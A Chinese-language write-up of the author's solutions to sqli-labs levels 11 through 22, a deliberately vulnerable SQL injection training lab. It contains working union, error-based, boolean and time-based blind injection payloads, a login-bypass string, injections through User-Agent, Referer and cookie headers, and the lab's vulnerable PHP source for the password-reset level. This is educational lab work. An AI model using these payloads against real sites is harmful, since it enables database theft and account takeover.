前言:这篇全是post方法,而且有usrname 和 password两个输入框,因此username 也是能注入的,只是本篇我用的都是在password处注入
less-11
有报错提示
这里username加单引号和password加单引号,虽然都引发了报错,但是报错信息不太一样
在navicat中测试了下,
两个图的报错信息和题目测试的报错信息一致,说明username和password都是单引号闭合
万能密码直接通过了
通过后可以看到有查询内容回显
那么这道题既可以使用报错注入,也可以使用联合查询
判断下列名,根据报错信息可以知道是两列
联合查询
因为这是buu的环境,我看到了flag表就想读取到flag,然后忽然学到了一些遗忘的知识
也就是说
用uname=1&passwd=2' union select 1,group_concat(table_name) from information_schema.tables -- =
就可以获得全部table_name,没必要像我开始用 or 1=1那么麻烦
因为flag不在当前库,还得获取下所有库名,查列名老套路就不写了
flag表应该就是在ctrtraining库中
报错注入
不过报错注入这里存在一个问题,报错信息显示的内容不完整
网上也找到了解决办法
对于多条数据,可以使用limit一条一条的查,对于单条数据显示不完全可以使用字符串截取函数,将数据剪成几节读取
### less-12
用常用符号测试了下,有报错信息,双引号加括号闭合
和上一题类似,不多说了
less-13
post传参,引发报错,可以看到单引号加括号闭合
floor函数报错出了点问题
uname=1&passwd=5') union select concat(0x7e,(select group_concat(table_name) from information_schema.`TABLES` where table_schema=database()),0x7e,floor(rand(0)*2)) x,count(*) from information_schema.`TABLES` GROUP BY x -- =&submit=Submit
# 这串数据不报错???我不理解
怎么不报错直接successfullogin了
找了别人的文章payload 测试了下发现好像是因为group_concat函数导致的,虽然还是不明白为什么
我又在navicat测试了几个语句,发现如下情况,
# 先看下我这次测试用的表
| usr| pwd|
|-----|--------|
| 1| 2|
| lll| 123|
| test| ttt|
|admin|password|
# 测试语句一 在concat中加了group_concat
SELECT * FROM `user` where usr='2' and pwd='2' union select concat(0x7e,(select group_concat(table_name) from information_schema.`TABLES` where table_schema=database() limit 1,1),0x7e,floor(rand(0)*2)) x,count(*) from information_schema.`TABLES` GROUP BY x -- ='
# 测试结果一 返回查询成功但是数据莫名的数据表 不能成功
|usr|pwd|
|---|---|
|null|367|
# 测试语句二 去掉concat中的group_concat
SELECT * FROM `user` where usr='2' and pwd='2' union select concat(0x7e,(select table_name from information_schema.`TABLES` where table_schema=database() limit 1,1),0x7e,floor(rand(0)*2)) x,count(*) from information_schema.`TABLES` GROUP BY x -- ='
# 测试结果二 能够成功报错泄露信息 在buu平台也能成功
# 测试语句三 没有去掉group_concat,但是去掉了concat中查询语句使用的limit
SELECT * FROM `user` where usr='2' and pwd='2' union select concat(0x7e,(select group_concat(table_name) from information_schema.`TABLES` where table_schema=database() ),0x7e,floor(rand(0)*2)) x,count(*) from information_schema.`TABLES` GROUP BY x -- ='
# 测试结果三 能够成功报错泄露信息 但是在buu平台传递数据后还是会查询成功
# 仿造结果二构造几个其他查询语句测试下
union select concat(0x7e,(select schema_name from information_schema.`schemata` limit 1,1),0x7e,floor(rand(0)*2)) x,count(*) from information_schema.`TABLES` GROUP BY x -- =
# 成功
union select concat(0x7e,(select column_name from information_schema.`columns` where table_name='user' limit 1,1),0x7e,floor(rand(0)*2)) x,count(*) from information_schema.`TABLES` GROUP BY x -- =
# 成功
我看到一篇文章也提到了这个问题,除此之外,没有再找到任何信息
用其他报错语句暂时没有出现这个问题,这里也只能先放着,等以后查查英文看看有没有类似的情况
个人猜测 group by 和 group_concat一起用存在问题?是否与mysql版本有关系?
less-14
双引号闭合有报错信息,用万能密码进入发现没有内容回显
之前的套路,略
less-15 boolean-based
时间盲注
测试了下,又是一个只能时间盲注的关卡,回顾一下我上一篇在less-9写点内容
现在重新再理一遍,发现写的有点啰嗦了,而且除了and外,也可以用or
其实在注释掉后面的内容后,只存在三种情况,
一、闭合成功,执行sleep
二、闭合不成功,注入语句被当作查询内容,因为查不到对应的内容,直接返回一个空表,因此登录无法成功,且执行速度很快
三、数字型注入测试下
测试了一会发现,出现了问题(捂脸),不管怎么测,都没有sleep
然后看了别人的文章发现前面两个usr=‘1’ and pwd=‘2’ 这里如果都不是表中的数据,就代表都为0,0 and上一个任何值都为0,这里我也在navicat测试了下,
# or的时候执行了sleep
select * from user where 0 and 0 or sleep(1)
# and的时候0.3秒就结束了,联想到有的编程语言确实是先判断and一边(或者左边记不清了)是否为false,不是才会进行and操作
select * from user where 0 and 0 and sleep(1)
改成or后,立刻就执行了sleep()
后续操作就没什么障碍了
布尔盲注
因为刚才看了下别人的文章,才发现我忽略了这道题也可以进行布尔盲注
那就再来试下布尔盲注,前面有一点没提到的是,我刚开始测着and不能用,就用了万能密码,想看看到底是我的hackbar出了问题还是我的输入内容有问题
万能密码1’ or 1=1 – = 一试就发现了单引号闭合,然后就successful了
从这一点可以着手进行布尔盲注
剩下的就还是老套路,不继续了
less-16 timebased-blind
测了下和15一样没有回显,而且这次单引号,双引号都不行了
就只能用上一章提到的常用闭合方式里的方法一个个试了
幸好很快就试出来了是")闭合,测试方式可以用万能密码或者时间盲注
这里我采用的时间盲注,也拿万能密码再验证了下
剩下的就略过了,和上一关区别不大
less-17 Update Query
我就加了个单引号,就被骂了,我giao
试了几次后发现有点傻x了,看下题目和界面提示,一个写着update语句,一个写着pwd reset
提示给的很明显了,这里是对update语句的注入
回顾下update语句
UPDATE table_name SET field1=new-value1, field2=new-value2 [WHERE Clause] ——来源菜鸟教程
有点无从下手,理下思路
思路一:想了下sql注入的目的是为了获取数据,获取数据的方法,现在已知的有以下几种
- 查询信息回显
- 报错信息回显
- 盲注一个字母一个字母的获取
所以现在得想办法知道这道题属于哪一种,暂时好像只能从盲注入手,因为没有测试处任何的回显
思路二:选择注入点,开头提示给的很明显是update语句
假设传入数据为usr=1,pwd=2
那么这个update语句猜测构造成这样
update table_name set pwd='2' where usr='1'
那么可以先测试下username是否能够完成注入,如图我在navicat写的语句
大概都测试了下,发现之前的常用闭合方式都不行了。。。
既然usr测不出东西,就尝试测pwd,结果怎么测也都不行
最后只能看源码了
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";
if (mysql_error())
{
echo '<font color= "#FFFF00" font size = 3 >';
print_r(mysql_error());
echo "</br></br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00" font size = 3 >';
//echo " You password has been successfully updated " ;
echo "<br>";
echo "</font>";
}
echo '<img src="../images/flag1.jpg" />';
//echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font size="4.5" color="#FFFF00">';
//echo "Bug off you Silly Dumb hacker";
echo "</br>";
echo '<img src="../images/slap1.jpg" />';
echo "</font>";
}
}
?>
着重看下这两条语句
-
$uname=check_input($_POST['uname']);
-
// connectivity @$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
uname被传进check_input函数进行了过滤,之后将这个被过滤过的uname进行了select查询,只有查到结果后,才能进行后续的update操作。
而后续的update就轻松很多了,既有错误回显又没有过滤
这样整个注入的关键点就是uname能够被查询到,也就是需要是原本表中存在的数据,或者能够绕过check_input函数,我自己是没有想到绕过的方法的,查了一些文章也没有看到,这里就只能选择用已有数据。用已有数据也不用查表,一般数据都有admin。如图
小总结
拿到一道题需要先分析下他可能的开发逻辑。拿这道题来讲,他的功能是修改密码,一般情况下,重置密码的逻辑就是检验用户名是否已存在,存在才会修改密码。
按照这个逻辑再来看这道题,解题思路就容易理解多了。
less-18 http头注入-user_agent
测试了IP,找了X-FORWARDED-FOR等几个http请求包用的修改IP,都没有效果,测试也没有结果
直接查看源码,IP是从Remote_Addr获取的,remoteaddr不是客户端提供的,因此,只能从别的地方入手
仔细阅读源代码,服务端一共会获取四个变量,其中处remoteaddr的三个都是用户可控
因此,这三个变量可能存在漏洞点,而uname和passwd都被check_input函数过滤了一遍,因此重点关注user_agent
再看后面的代码,uagent没经过任何输入控制就拼接进了insert语句,现在可以确定user_agent就是注入点
但是这个注入的前提是uname和passwd能够输入正确
因此为了利用这个漏洞,我又返回17关,给admin更新了密码 admin
再次到18关输入用户名密码,可以看到返回了user agent
抓包在user agent后面加个单引号,返回了报错信息
再次发生灵异事件
# 我在navicat的测试
# 能够正常返回报错信息
insert into user_copy1 (usr,pwd) values (''and updatexml(1,concat(0x7e,(database())),0x7e),1)--
# 不管怎么拼接都不成功
insert into user_copy1 (usr,pwd) values (''and extractvalue(null,concat(0x7e,(database()),0x7e)) #
# 报错信息
# > 1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
# 同理 换了个报错函数也是同样的报错
insert into user_copy1 (usr,pwd) values (''and exp(~(select * from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x))-- =

less-19 http头注入-referer
和上一关类似,只是注入点变成了referer
and updatexml(1,concat(0x7e,(database())),0x7e),1)–
less-20
我真的不理解,明明setcookie了,打印cookie也能成功,但是浏览器的response没有set-cookie,我自己写个setcookie函数都能接收到,我不明白为什么就这一关接收不到。buu和我本地环境都接收不到cookie,我真是一整个大无语。。。。。
本机
buu的
我测试的结果
多试了几个版本的php,发现sqlilab5.2.17这关就没有cookie
测试的5点几的版本都有cookie,buu5.6.4我也不知道他为什么没有cookie,反正我本机是5.5.9是有的
既然能做,那就继续回归题目,我因为一直没有cookie根本没看到如图的大彩页
所以直接进行了代码审计,
梳理了整个逻辑如下图所示,你看不懂没关系,自己看代码梳理一遍就行了
梳理逻辑后就能看出来,注入点在$cookee也就是cookie中的uname
打开burp抓包,有报错回显,所以可以报错注入
也可以使用布尔盲注或者时间盲注,就不多说啦
less-21
用上一关的测试方法,发现报错信息显示单引号加括号闭合
这关只是将cookie进行了base64加密,将注入数据进行base64加密填入即可注入成功
less-22
测试了几次发现是双引号闭合,admin" – =,和前两关没什么不同